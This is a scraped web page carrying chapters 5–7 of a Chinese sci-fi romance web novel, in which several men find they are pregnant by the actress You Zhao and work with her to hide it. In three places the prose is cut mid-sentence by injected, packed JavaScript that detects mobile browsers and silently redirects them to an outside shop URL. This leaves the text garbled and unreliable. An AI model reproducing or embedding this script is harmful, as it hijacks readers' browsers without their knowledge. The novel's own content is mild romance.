“还不知道。”游朝无暇理会严初的贫嘴，脑子里条理清晰地回忆着这几天的全部线索，“最近三天，一共有三个怀孕的男人找到我，都说孩子是我的，林耀然好歹还跟我接过吻，但另外两个只都是握了握手的关系……” 严初没听她说完，主动坐到游朝身侧的沙发扶手上，没脸没皮地拉起她的手，十指相扣。 “你干嘛？”游朝昂起头。 “握握手，说不定明天就能怀孕呢。”严初一脸期待地说。 林耀然早对提前登陆多比多星人类的开放程度有所耳闻。他们为了照顾新登陆地球人的情绪，在外还是尽量保持着人模狗样的姿态，可一进屋就不一样了。林耀然怀了游朝的孩子，严初似乎已经默认了他的入乡随俗，举止越来越没规矩。 “你们先等一等。”林耀然瞧着他们拉手，心里不太舒服，“能不能稍微照顾一下我的感受。” “对哦，你怀着孕呢。”严初松开游朝的手，但屁股没从沙发扶手上起来，抱着胳膊说，“做亲子鉴定了吗？” “我们下午去取结果。不过科研院要查体捐精，帮我们做亲子鉴定的白乔也怀孕了，很容易被发现。”游朝看了眼墙上的电子钟，距离下午拍摄越来越近了，干脆长话短说，“我需要一点正常男人的体-液，把白乔的样本换出来。” 严初双手交叉起来，眼睛转得像狐狸一样，很快就将事情的来龙去脉理清楚了。 “帮是可以帮。”严初双手叉腰，“不过姐姐要先答应和我结婚。” 游朝的眼睛上挑，两副算计的眼神对到一起，“结婚不行，做男朋友可以考虑。” “成交。男朋友是结婚的第一步！”严初在游朝额头献上一吻，心满意足地进了卫生间。 “你就……这么答应他做你男朋友了？”林耀然对游朝的草率感到意外。 “这个回头再说吧，先把白乔救出来比较重要。”游朝做事喜欢分轻重缓急。 很快，严初拿着一只便携的自封袋出来，里面是按实验标准取好的一毫升男性体-液。他在大学辅修过生物学，知道该怎么科学操作。 “你们几点去换样品，我想跟你们一起去。”严初自来熟地站在游朝和林耀然中间，“以后就是一家人了，早晚要认识一下。” “谁和你是一家人？”林耀然主动站到了游朝另一侧。 严初双手插兜，耸了耸肩，“反正等我和姐姐结婚了，姐姐的孩子就是我的孩子了。你肚子里这个得管我叫爸爸。咱们还不算一家人？” “你想得美。”林耀然第一个拉开了休息室的门。 “哎。”严初毫不见外，一条胳膊搭上来，“别着急拒绝嘛。我真的不介意。” “我介意。”林耀然嫌弃地把严初胳膊推开。 游朝在休息室门口的电子屏签完退，默默走到两个人前头，一脸茫然，“怎么打起来了？” “没有，超和睦。”严初朝游朝微笑，努力留个好印象，顺便一手硬扯着林耀然单侧嘴角，向上掰了一个弧度。 林耀然别开了头，尽快跟上游朝的脚步。 傍晚下班，三人一起去科研院。严初开车，林耀然故意跟着游朝坐后排。 科研院是多比多星最早的人类机构，目前也是最重要的一个。除了人类繁殖协会，这里还有全机器生产粮食的食品局，负责大气净化的气象局等二十来个民生保障部门。 游朝和严初从小居住的科学家基地就在这一片上空，也属于科研院管辖的范围。两人经常通过望远镜看地面，对这边每个部门都很熟悉。 一路上严初显摆似的给林耀然一一介绍，游朝趁机打电话，叫爸爸尽快预约门禁。 严初把车开到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166964|196761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门岗，拉下一半车窗，“严初，游朝，还有我们一位朋友，林耀然。” 保安在显示屏上确认着门禁预约信息，“稍等一下，系统好像出了点故障。能拉一下后车窗吗？你们报备了三人，但屏幕显示是四个。” “是不是太久没维护了？”游朝拿包从侧面挡住林耀然的肚子，“现在再看看呢？” “哦现在是三个了。”保安挠着秃头说。 游朝踢了下前排严初的人体工学软座，严初给汽车加足马力，“噗”地一声，再次冲天，连方便停车的减速带都没上。 林耀然惊魂未定地透过减速玻璃往后看，“他怎么看到孩子的？还这么小。” 游朝也在怀疑这件事。按理说不应该被发现的。毕竟白乔都还能顺利上班。她把包往林耀然腹部又放了放，包外皮是特殊材料，能屏蔽信号，类似隐形飞机的防雷达识别装置，可以保证接下来一路畅通无阻。 严初瞧了眼后视镜，“孩子小，但你肚子大啊。” 林耀然回过头，周身一耸，“你在说什么东西！” 严初不以为意，“要是你肚子不够大，门岗探测仪是不会识别成两个生物的。” 林耀然小声：“我这要算大的话，你要不一会看看白乔？” 严初不嫌事大：“嚯，合着你这不是姐姐头胎啊，怪不得这么不开心！” 林耀然懒得理，问游朝：“我们去哪儿找白乔？先办正事吧。” 游朝忙着翻定位，“A2大厦B3206实验室。你们在车上，我一个人去。” 眨眼工夫，严初把车稳稳停好，游朝拉开车门，手指顺了下蓬松浓密的头发，快步走到实验楼中间。 “要帮忙吗？”林耀然从车窗探出头，远远地问，但游朝好像没听见。 严初瞧他，“不放心你就跟着去呗。反正怀孕的事被发现，咱们仨都得玩完。” “我现在确实不方便。”林耀然无力反驳，“要不你跟着一起去？万一被发现，两个人互相掩护着好逃跑一点。” “你这么担心姐姐，姐姐也不知道啊。”严初警惕地瞥了他一眼，“看在我们未来很可能是一家人的份上，友情提醒一句，姐姐做事不喜欢人帮忙。她很靠谱的。需要帮忙她会说，不说就是她一个人能搞定，我们只要百分百相信她就好了。” 严初慵懒地靠在座椅上，远远看着游朝跑远，“而且我警告你啊，少指使我，我现在可是姐姐认证的正牌男朋友。” 林耀然没再争辩，毕竟论起对游朝的了解，他确实不如严初。只是想到这一点，他惊讶自己居然有点不甘心。 他朝游朝离开的方向持续盯了一会，直到身体的不适让他不得不调整姿势，抱包坐好。 可不过扭了个身，身前就像绑了块磁铁一样沉重。 林耀然艰难呼吸，低下头，隆起的小腹已经有一拳多高。 “好像不太对。”林耀然惊恐地摸着那拳包块位置，现在也顾不上严初是敌是友了，“这孩子怎么长这么快？” 现在就是说四五个月，估计也有人信。 5. 5 严初翻到软尺，好奇地凑到后排帮林耀然量了下腹围。 “八十……” 后面的数字还没念完，车外传来脚步声，林耀然立刻警觉，连忙将软尺拽掉了。 “你们在干嘛？”游朝淡定地拉开后排车门，身后站着白乔。 严初看了眼手表计时，不到十分钟，游朝就搞定了一切。她实在是太靠谱了。 严初心里称赞完才回她：“在记录咱仨宝宝的成长情况，哦不……”严初注意到白乔，“现在是咱们四个。” 白乔愣愣地看着严初，一时间摸不着头脑。 游朝有点顾不上他俩，探头进后排打量着林耀然，“你怎么了？” “没事。”林耀然不好意思说。 “真没事吗？”游朝觉得林耀然不会无缘无故让外人碰他肚子的，至少今天早上还害羞得不行。 “能有什么事啊，肚子大了点嘛！说明这孩子天赋异禀，有点先锋科学家后裔那么回事。” 严初大大咧咧地说完，林耀然红着脸转过了头，一个字都听不下去。 “有事要说话啊。”游朝还盯着林耀然，不放心地又嘱咐一句。 “知道了。真没事。”林耀然扭着头说。 游朝皱了皱眉，先帮他把车门关上。 严初瞧着游朝照顾他的劲儿，靠在旁边悻悻一句：“地球男人就是麻烦事多。” “先不说这些了。”游朝看着面前另外两个男人，“你们也认识一下吧。这位是严初，我发小。” “今天上午刚刚晋升为男朋友。”严初迫不及待地纠正她，朝白乔伸出一只手，“也是你未来孩子的爹。” 白乔有点不知道怎么回，在被这副生面孔盯了足足五秒钟后，先选择和他友好地握了握手，“幸会。” “先上车吧，开车去我家。”游朝让白乔这位高危人士和林耀然一起坐后排，严初开车，自己坐副驾驶。 汽车很快发动，冲破云霄，不到一分钟就驶离了科研院。 碍于林耀然的害羞，车内气氛一直很安静。 又过一会，林耀然自己先破了冰，“所以鉴定结果怎么样？” “还没看。用中心电脑分析太危险，我们把数据笔偷出来了。简单的基因组比对普通电脑也能做。”白乔提了提挂在身前的背包，看向游朝。 游朝点开副驾驶上方的电子屏，查找着后备箱物品名录，“我记得这里有台分析用的笔记本。” 严初撇了撇嘴，随手将一只酒红色外壳的单屏笔记本从驾驶位头顶的隐藏救生箱拽了出来。它是软的，可以卷起来存放。使用时再摊开。 除了这个，救生箱里还有不少压缩食物、水以及武器，用于突发事故时的自救。相比之下，一台普通电脑就显得有些鸡肋。 “你把这个放救生箱？”游朝接过电脑，忍不住问。 “嗯。”严初没觉得有什么，“上回送你的生日礼物，你没要。等着哪天见你再送呢。” 游朝失语了一会，还是先干正事，“白乔，数据笔。” 白乔递来了笔，游朝的手指在电脑键盘上敲得飞快。 除了开车的严初，三双眼睛都紧紧盯着游朝腿上的电脑屏幕。 程序分析剩余五分钟。车内气氛达到了冰点。 “结果出来前，我们要不要先预测一下。你们都希望孩子是姐姐的吗？”严初故意开玩笑地问。 “问这个干嘛？”游朝不懂这家伙临阵添什么乱。 “提前筛选一下我们的家人。”严初含情脉脉地盯着游朝看，“虽然我不介意宝宝们多几个干爹，但至少得保证他们喜欢你，这样才能喜欢我们的宝宝。如果他们心甘情愿为你生孩子，就说明有这个念头。” 林耀然才好转的脸颊一下又红起来，“有没有可能，我们只是不想在找孩子妈妈这件事上浪费时间了！” “ok。林耀然愿意。”严初看透一切地说。 “我也愿意。”白乔说。 游朝在繁忙中回了下头。 白乔表情严肃，“如果这个孩子最后生下来，我没办法照顾他的话，你们能带它走吗？” “你就这么决定生下来了？”林耀然回头看他，有些诧异。 “嗯。其实从一开始，我就没打算打掉孩子。我来找游朝，只是希望孩子以后能有妈妈保护。”白乔脸色发白，似乎还没从今天“查体”的危机中缓过神，“我是一名科研工作者，我看过人类为了能在多比多星繁衍付出了多少努力。我是不会打胎的。但我们全家都是守旧派，这种事一旦被发现，我和我的家人都会很危险。今天是你们赶过来了，可下次呢？” “听起来你这是叛变了呀。”严初开车间歇，通过后视镜斜挑了他一眼，逗他似的，“有叛徒经历的人，我们家可不欢迎哦。” “也不是叛变，我只是相信眼见为实。”白乔局促地攥了下拳头，双手撑在膝盖上，“只要有一线希望能让它活下来，再难我也想试一试。” “结果出来了。”游朝打断了男人们的对话，把电脑拿到中央。 电脑软屏上显示一串规律的比对图，三组DNA数据，亲权概率都在99.99%以上，宝宝们确实是游朝的孩子。 “哇，姐姐，你真的要做妈妈了！当然我也要做爸爸了！”严初好高兴地说。 在多比多星，结婚选男人就像开盲盒，五人里面至少有两位是完全无法进行夫妻生活的，另外三人即便可以完成传统的人类生殖仪式，也不能保证一定有优质配子产出。 但男性们为了自己能有个归宿，婚前多半不愿意承认这一点。为了保障他们的人权，人类联盟也不能强迫他们说实话。 事实上按照现在的形势，一对夫妇新婚五年能诞下一个孩子就很不错了。 但游朝这个临时组合的“新家庭”眨眼工夫就蹦出三个孩子，抛开守旧派们绝难接受的“男性生子”不谈，游朝绝对称得上挽救人类物种的大英雄。 不过这听起来实在太荒诞了。有生以来，游朝的大脑第一次出现短暂的断片式空白。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166965|196761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今晚约定讨论的时间是七点半，陆其峰准时到达。虽然不用上班，但他还保留着外出穿正装的习惯，以及开会之前绝不参与项目讨论的倒霉领导作风。 严初在厨房，戴着耳机哼小曲，和机器人一起做饭，并不参与剩下四人的商讨。毕竟肚子是人家的肚子，生与不生还要人家自己拿主意。 客厅长久地安静着。三个男人的眼睛都看向游朝，但没人敢打扰她思考。 游朝是解决他们怀孕问题的最后一搏。如果她想不出办法，这个世界上大概没人可以了。 但此刻游朝的思考陷入了僵局。 现在到了考虑最棘手问题的时候，她到底是怎么让三个没有和她发生关系的男人怀上孕的。 虽然她对陆其峰这位昔日上司一直没什么好感，但他有一句话说的没错。只有搞清楚他们是怎么怀的孕，才有可能用现代医学查不到的新方式拿走这个孩子。 游朝在电脑上疯狂查找资料，但目前还没看到哪个先锋科学家后裔进化出让男人怀孕的超能力。基因功能注释网站也没有报道。 这说明应该是未发现的新基因在起作用。 人类基因组是个复杂的系统，即便在人类基因组计划提出的十几个世纪后，被成功解析的功能性编码基因仍不足8%，这与21世纪初那些远古科学家预测的15%还相距甚远。 如果要鉴定新基因，就要将她的基因组数据进行深度分析，并通过一系列基因操纵实验在小鼠模型中对突变基因进行一一筛选。只有拿到关键基因，才能设计靶向药物，让孩子在男人们体内自行分解，神不知鬼不觉地实现流产。 这件事听起来麻烦，但对游朝来说技术难度不大，只不过实验室场地和时间成本都很成问题。至少在她的孩子们出生前，这件事很难完成了。 但眼前这批怀孕的男人必须妥善安置。 游朝理了理思路，尽量言简意赅，“我暂时没办法把孩子拿掉，估计只有先偷偷生下来，然后再想办法搞清楚你们怎么怀的孕。” 白乔默默松了口气。 陆其峰蹙眉，“我们三个男人，要怎么生？” 游朝：“我休假一段时间，假装孩子们是我生的。反正孩子们和我都有血缘，只要我们配合得好，有一定希望能把这件事瞒过去。” “那我们呢？算是你前男友……们？”陆其峰问。 游朝点了点头，“这样能显得稍微正常一点。” 三个男人面面相觑。 良久，林耀然先开口：“或许，我们有希望结婚吗？我还是希望，我的孩子是在婚内出生的。” 虽然在生育形势严峻的多比多星，大家已经对这种事情非常开放。但刚从地球过来的林耀然暂时还无法接受。 游朝想了会，本着遵纪守法的原则，说：“结婚的话，结一个可以啊……但是你们不是有三个人吗？” 沙发的三个男人陷入沉默，显得厨房那边严初做饭的小曲儿格外突出。如果非要算严初的话，其实一共有四个。 6. 6 “结婚确实对孩子们的抚养更方便一点。”陆其峰微笑着看向游朝，“如果你不介意的话，我可以做孩子们的爸爸。” “我不仅可以做好孩子们的爸爸，还可以做好一个丈夫。”林耀然也看着游朝。 “你要拿什么做好一个丈夫？”陆其峰的矛头对向林耀然。 “我和游朝是朋友。我们有感情。多比多星结婚也是要讲点感情的吧？”林耀然毫不示弱。 陆其峰没有反驳地点点头，“非要说感情的话，我是游朝的入行的第一个上司。说起来还是她的伯乐。” 他想到他见游朝的第一面。 这个比他小八岁的新人演员在面试当天以灵动的演技脱颖而出，而她本人又是那样沉默寡言，充满神秘感，这份反差让陆其峰走了下午的神。 他出身高知家庭，此前在地球没谈过恋爱，因为爸妈一直告诫他，多比多星球的优质女性更多。在他此前的认知里，优质的男人值得一个最好的女人。只可惜来到多比多星，他发现这里的优质女性一点都不好追。 游朝进公司后，陆其峰想过挺多方式吸引游朝的注意，包括但不限于故意给游朝的团队分配资源，试图在半年内将公司的工作重心移到游朝身上。但游朝似乎一点不领情，屡屡拒绝他的好意，一门心思过她独来独往的生活，非工作时间约都约不出来。 那段时间因为游朝的冷漠，陆其峰过得很不好。他在地球工作时明明情绪挺稳定的。但来到多比多星却经常发脾气。除去公司业绩的问题，主要原因还是睡不好。追不到游朝的日子，陆其峰彻夜难眠，辗转反侧。 短短三个月后，陆其峰面临精神崩溃，甚至开始选择相信吃不到的葡萄一定是酸的。有一次他做梦，梦见游朝倒追他，但他故意没有答应，就是想让她尝尝过了这个村没这个店的滋味。那天之后，他甚至幻想过美梦成真。 可惜还没等到游朝对他任何倒追的举动，他就先怀上了游朝的孩子。陆其峰心里五味杂陈，表情也由单纯的笑意变得复杂纠结。 一旁的游朝逐渐看不明白。其实她已经想不起来，陆其峰和她的缘分到底从什么时候开始。单论初见的话，一次普通的面试怎么能让他摆出这副回味人生的表情？ “这种事好像还没什么争论的必要吧。你们现在大着肚子，婚检都过不了，根本没办法去结婚登记所。要不你们按月份大小排个顺序，谁先生，我就先跟谁办。这样最公平了。” “我都行。”白乔不参与争斗，只想把事情和平、妥善地解决。 “黑诊所的医生说我至少六个月了……”陆其峰将腰后的束腹带拉扣全部扯开，让孩子能够自由活动一会，隆起的腹部呼之欲出，“七个月以后，它随时都可能出来。肯定要先和我结婚。” 为了解决这个孩子，陆其峰恶补了许多孕产知识，现在已经顶半个大夫。 “我还不知道几个月，但它好像不能按正常人类的孕周推断出生时间。”林耀然也低头看了眼肚子，生怕小家伙趁他没注意的时候又疯长起来，“要不我们找个医生吧，听听医生怎么说。” 游朝觉得有道理。虽然按照多比多星的医疗条件，女性生产已经可以实现完全无痛，母亲恢复也比较快。但据她所知，保障女性生产的药物都是基于女性激素开发的，而关于男性生产的科学研究目前还完全空白。 对男人们而言，孕育孩子的艰难程度可能和远古时代地球女性差不多。 他们确实需要一个医生，甚至是医学科学家，从头保障他们的安全。 “你们科学家基地有了解男性生产的医生吗？”陆其峰问。他是见识过那些黑诊所大夫的三脚猫功夫的，现在完全信不过。 搭上游朝的好处就是，即使她暂时想不到办法拿掉孩子，至少也可以找到先锋科学家里天赋异禀的大夫给他们接生。 毕竟离谱的事情只能靠离谱的人解决。 “其实我也不认得什么基地医生，只能过去问问看。不过就是……他们可能有点奇怪……你们要有个心理准备。”游朝面露难色。 基因突变获得的超能力往往伴随着奇怪特征出现，会让这些先锋科学家后裔看起来不像正常人。 游朝对自己的奇怪深有体会，当然也没觉得严初好到哪里去。 “开饭啦！”严初的大嗓门回荡在餐厅。他摘掉耳机，穿着围裙将四菜一汤全部上桌，“姐姐，小白小林陆总，都过来坐，有什么事一会再说呗。” 一屋五个人坐到餐桌旁，搞的一人居的餐桌满满当当。 “好吃吗？”严初没参与刚刚的讨论，目前是餐桌上唯一一个无忧无虑的人。 “没什么味道。”陆其峰第一个将菜吐到了纸上，“做的什么狗屁玩意？” “怀孕就是要少盐少糖啊，防止妊娠高血压和糖尿病。这是标准的父婴餐。有的吃就不错了。”严初大大咧咧地自己夹着菜，“其实今天应该你们好好谢谢我，如果不是我救了白乔，你们怀孕的事情八成就露馅了。” “这招我知道。道德绑架。”陆其峰一眼看透，“但你用错人了。我不吃这套。” 林耀然因为终于有人能治一治严初而心里窃喜，故意看着他俩吵架，自己不说话。 白乔反正说不过他们，低头默默吃着菜。 游朝没有心思吃东西，看着面前叽叽喳喳跟麻雀一样拌嘴的男人们有些头大。虽然她在历史书上读过，古代的地球男人总是嫌弃女人八卦嘴碎，但她完全想象不出来。 至少以她在多比多星的生活经验来看，男人们不仅嘴碎，吵急了还很容易动手，这才是一个家庭无法稳定的头号因素。 游朝头大了一会，忍无可忍了才说：“你们能不能别吵了，对孩子也不好啊。” 男人们被提醒了一句，各自闷声低头吃饭。 “你们都考虑好了，愿意给姐姐生孩子了？”严初察觉到有好消息。 游朝往严初盘子里夹了一颗他喜欢吃的西蓝花，用来堵嘴，“嗯。我们最近打算回科学家基地一趟，跟你说一声。” “回基地生孩子？那以后户口怎么办？”严初有点意外。 “假装是我生的就好了。”游朝又夹了一颗西蓝花给他，“然后我可能要跟他们当中的一位结个婚，也跟你说一声，顺便正式提出一下分手。” 严初嘴里的西蓝花突然变味，吐了出来，“结婚？！什么时候决定的？” “刚刚。”游朝说。 严初有点吃不下了，他感觉自己只做了半小时的饭，但好像错过了一个世纪。 沉默五秒后，严初认清现实，“为什么不考虑我，就因为我没怀孕？” “如果你很介意的话，建议老死不相往来。”游朝向他报以微笑。 严初不甘心地咬了一下后槽牙，但表面还是笑眯眯的，“那我要跟你们一起去。你们找大夫问怎么生，我找大夫问怎么怀。就算这辈子结不了婚，至少也能以你孩子爸爸的身份加入这个家。” “你能不能要点脸？”林耀然忍无可忍地看了他一眼。可才骂完，肚子就绞筋似的痛起来。 这回游朝有经验了，停下筷子看他，“宝宝动了？” “不是，有点疼。”林耀然确定不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166966|196761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胎动的感觉，“我也不知道怎么回事。” “因为你在骂它妈妈的另一个追求者。”陆其峰缓慢地咀嚼完嘴里的食物才说，“它觉得妈妈不开心。” “我真没有不开心。”游朝解释，“可能最多就是不太想看你们吵。” “那也算有点不开心。”陆其峰帮她认清这点。 “好吧好吧。那我们不吵了。”严初看在孩子的份上，选择让步。 “现在是不是不疼了？”陆其峰问林耀然。 “好像还真不疼了。”林耀然不敢相信。 陆其峰拿起旁边的纸巾，优雅地擦拭嘴角，“我听黑诊所的医生们说，先锋科学家后裔的超能力可能在胎儿时期就有。你怀的很可能是女儿，女儿和妈妈亲，更容易解锁和妈妈相关的能力。” “所以这孩子能感知姐姐的心情啊？”严初好奇起来。 游朝突然想起妈妈跟自己讲过，她在胎儿时期遇见漂亮男人就会蹦迪式胎动的事，感觉这说法有一定可信度。 白乔顺着分析：“所以说，游朝心情好的时候胎动就厉害，心情不好宝宝就牵拉内脏，引起神经痛。” “有道理唉。那你都什么时候胎动啊？让我看看姐姐什么时候会开心？”严初不见外地问。 林耀然停下筷子，想到片场接吻的时候，茫然看向游朝。 难道和他演吻戏，现实世界的游朝也会觉得开心吗？ “你看我干嘛？我也不知道你什么时候会胎动啊。” 游朝低着头说完，也愣了一下。 好像也不是完全不知道。他说过一次，在他们接吻的时候。 回忆起接吻的感觉，熟悉的躁动蔓延全身，游朝知道不妙。平时拍戏，她只要开拍前吃一片抑制剂，十二小时内对林耀然的感觉都在可控范围。但现在显然过点了。 游朝趁还清醒，抓紧站起身，表情故作轻松，“你们好好吃。我有点事。一会吃完，严初你送他们回家？去基地的事我们回去线上说。” 游朝安排完就回卧室，冷水洗了两把脸，躺上床闭住眼睛，奇怪平时在片场没这么大反应。也许是刚刚太近了，手拉手之前没有足够的心理准备，身体的本能就占了上风。 她给自己计了个时，一般情况半小时都能缓过来。但这次到点还没有好转，于是起身又翻起存放抑制剂的抽屉。 多比多星为了刺激生育，正规性激素抑制剂是很难购买的，需要严格的审批流程。起先是爸妈帮着内部订购，后来她嫌麻烦，大学期间学了化学合成，之后就一直自己做。 医用抑制剂大多是静脉注射的针剂，用量大，起效快。游朝自己做的是口服药，相对安全，但起效至少一小时。 她在卧室的卫生间服了药，按下墙上的瓷砖，将镜子反转过来。才被冷水浸湿的一头黑发披垂在肩背。 游朝低头深呼吸，尽量让吐气频率处于合理的范围内。 卫生间外传来脚步声。 游朝习惯性用手挡了下门，可又一次深呼吸后，门被缓缓旋开了。 游朝换了两只手撑在盥洗池，目光锐利地盯着门口。 林耀然站在那儿，第一次瞧见游朝这副模样，有些无措。 “你怎么还没走啊？”游朝努力维持着声带的平静，打开水龙头，哗哗的流水声是最好的尴尬缓解剂。 林耀然握紧了门把手，直觉告诉他，这里并不安全。但双脚犹豫了一会，还是朝前一步迈进卫生间，背后的手关好门。 “刚刚，我肚子又疼了。”林耀然又向前试探了一小步，“是你心情不好吗？” 7. 7 “没有。”游朝假装没事地用凉水又冲了两下脸，“你赶紧回去，明天还拍摄呢。” 林耀然站着没动。 按照他熟悉的地球习惯，夫妻是应该互相照顾的。 虽然他们现在还不是夫妻，但至少经是一个孩子的爸爸和妈妈。 “心情不好可以找人说说话。如果你愿意的话，找我也可以。”他又往前一步，手指犹豫一下，尝试将游朝的披肩长发顺到一侧肩膀上，至少头上的水珠不会继续打湿后背。 手指的触感让游朝敏感地缩了下脖子。 林耀然看着镜子里的她，清晰可辨的肌肉线条随着呼吸起伏难定，看起来很不舒服。 “你没生病吧？”林耀然问。 “没有。”游朝维持着仅有的理智，故意离林耀然再远一点，“先锋科学家后裔都有点怪毛病，我已经习惯了。” “什么叫怪毛病？”林耀然从旁边架子拿过毛巾，想递给她擦脸上的水。 游朝下意识将他那条意图不明的胳膊按在墙上，手指扼住手腕。 对视瞬间，毛巾掉在地上，林耀然动弹不得。 他第一次清晰感受到游朝的力气，也才意识到游朝平时在片场对他有多温柔。 “我只是想关心你一下……我发誓。”林耀然看着她的眼睛，心跳一下快过一下，“如果你觉得冒犯的话，我向你道歉……” 游朝的忍耐到达极限，手指向下扣住他的手，迎面吻了过去，这回完全顾不上什么分寸感。 屋内的电子钟发出了整点报时，窗外天黑得要命，老旧的机械窗帘感应到光线变化，自动合了起来。 不知道过了多久，游朝体内难抑的失控终于退了潮。 她慢慢松开林耀然，看了眼时间。 万幸一小时到了，抑制剂起效了。 * “对不起啊，我没忍住。”游朝出卫生间用吹风机吹头发，故意背对林耀然，“一般不会这样的。除非是对方长得太好看了。” “是吗？”林耀然假装云淡风轻地说了一句，躺上床，侧着身子，缓解刚刚的胎动，脸上发烧似的红。半晌回味起她的夸奖，悄悄笑了。 这次的胎动比以往任何时候都剧烈。除了他的动情，应该还有游朝开心的缘故。 他现在才有点相信，和自己接吻，确实会让游朝变开心。 后知后觉，也才有点想明白游朝说的“怪毛病”是什么。 “你这毛病，什么时候开始的？”林耀然轻轻地揉着肚子问。 游朝将吹风机的风开得小一点，“挺小的时候吧，我不记得了。不过当时只是看到好看的男人会开心。这几年不行了。” “那你能撑到法定结婚年龄还没谈过恋爱，也是个奇迹。”林耀然说。 游朝沉默一会，还是选择诚实，“其实以前也谈过。” 林耀然觉得多余说这么句话，活该给自己找不痛快。 游朝继续：“但都是谈了不到一个月就分了，对方分手的情况居多。” “那是他们眼瞎。”林耀然不假思索。 “也不全是吧。主要还是他们的身体承受不住。”游朝语气里带着无奈。 “有这么夸张，一个月都受不了？”林耀然骨子里的胜负欲按捺不住。 游朝听出一丝挑衅的意味，但老实说这样不太好，“怀着孕，还是别想这方面吧。” 林耀然浑身熄火一般地不痛快，来到多比多星，他已经很少能感受到这么强烈的身心欲望了。 “其实多比多星上，大家恋爱谈得都不长，也没什么好奇怪的。”游朝关掉了吹风机，将一头长发松散下来，拿了只深褐色发夹随意卡住，耐心给林耀然科普起来。 “一般谈上十天半个月，两人稍微有点意思就直接结婚了。结婚会有专门的补贴，一个人三十万，每生一个孩子，一月多发一万，三岁以下的孩子家里带不过来的话，还可以送集体保育所，一个月五千左右，养得白白胖胖的。” 林耀然以前只是听说有补贴这么回事，但没想到能有这么多。这边的多比多币和二十一世纪末的人民币差不多。这些钱足够夫妻二人置办一套房，一辆车，甚至还够负担一个小孩从出生到幼儿园之间的全部费用。 AI工业的发展和地广人稀的天然优势，使得人类联盟完全有能力养活每一个人。但实际情况并非如此。 提前来到多比多星的人类已经占好了自己的生态位。全球约百分之八十的资源仅握在少数特权人士手中，其中就包括不少先锋科学家后裔。 而对挣扎在温饱线上的普通人类来说，结婚生子，为人类繁衍做贡献，是获取生存保障的一项重要方式。 林耀然前不久也这样考虑过，但没想到游朝这种身份的人居然也关注这个。 “科研院不是给先锋科学家后裔发生活保障吗？你会在乎这点钱？” “发是发。但我拿不到。”游朝脱下外套，背对着林耀然换起睡衣，“只有进化出有用超能力的先锋科学家后裔才能有补贴，我不行。” 林耀然察觉她话音刚落时的沉默，作为演员，训练有素的心理探究能力告诉他，他们仿佛在慢慢建立某种信任的联系。 “所以你从科学家基地搬出来住，是不是有一部分原因，也是这个？” 林耀然问完，游朝熄了灯。 以前的不愉快游朝不想提，也不想林耀然瞎操心，“别想太多，先睡吧，晚上有事叫我。” * 这里的太阳不比地球那边，早起就很毒，完全不给人适应的时间。 林耀然差点没起来床，一是因为腹部鼓胀实在明显，即便抬抬腿都坠得难受，二是因为夜晚多梦，梦里全是昨天卫生间里那个意外撞破的吻，回味时嘴里带着甜味，想忘都忘不了。 “昨晚宝宝动得厉害吗？”游朝按动开关，将窗帘全部拉开。 “有点。”林耀然缓慢地从床上坐起来，惊讶发现一只手已经能托住腹底，现在的肚子明显大过白乔。照这个架势，应该很快也能超过陆其峰，“而且我发现一件事。胎动厉害的时候，它就会长得快。上回拍完吻戏去科研院也是。” 林耀然靠近游朝，认真地说：“我想让你再开心一点，它就会长得更快。” “但胎动严重的话，你不会更难受吗？”游朝低头，摸了摸他隆起的肚皮表面。现在她心情相对平静，小家伙也一动不动，“我还是尽量保持现在的状态吧。让它安静一点。” “没关系，我想快点生。这样我们就能结婚了。”林耀然抱住游朝，重新感受着昨晚的心动。 私下接吻对他一个保守的地球男人来说已经到了私定终身的程度。 现在除了游朝，他已经无法接受再和其他女人有羁绊，甚至连以后的亲密戏也不想拍。 游朝被抱得有点紧，特别是被他肚子顶得不舒服。估计林耀然也挺不舒服的。 游朝把手挡在他们肚子中间，缓解一下自己和宝宝的正面冲突，抬头看林耀然，“还是你和宝宝平安最重要。该什么时候生就什么时候生吧！不管我和谁结婚，宝宝们都是有爸有妈的呀。” 林耀然摇摇头，害羞地将头低下来，下巴贴着她的肩，有点不知道该怎么告诉游朝，其实比起孩子爸爸，他更想做她的丈夫。 “没关系，先听听医生怎么说吧。”林耀然贴近游朝，让宝宝离她也更近一点。 就在两人之间，一颗小小的心脏正在怦然跳动着。 “还有半个月戏就拍完了，你再坚持一下。还有你这个小家伙。”游朝的手在那颗心脏跳动最欢的位置轻轻拍抚了两下。 被叫“小家伙”的那位没领情，好像动得更欢了，手脚挠得林耀然肚皮疼。 他慢慢松开游朝，单手扶着腰，现在只是用正常姿势站着，肚子就能将衣服拱出明显的轮廓。 “我可能真的需要束腹带了，游朝。半个月的话，它真要藏不住了。” 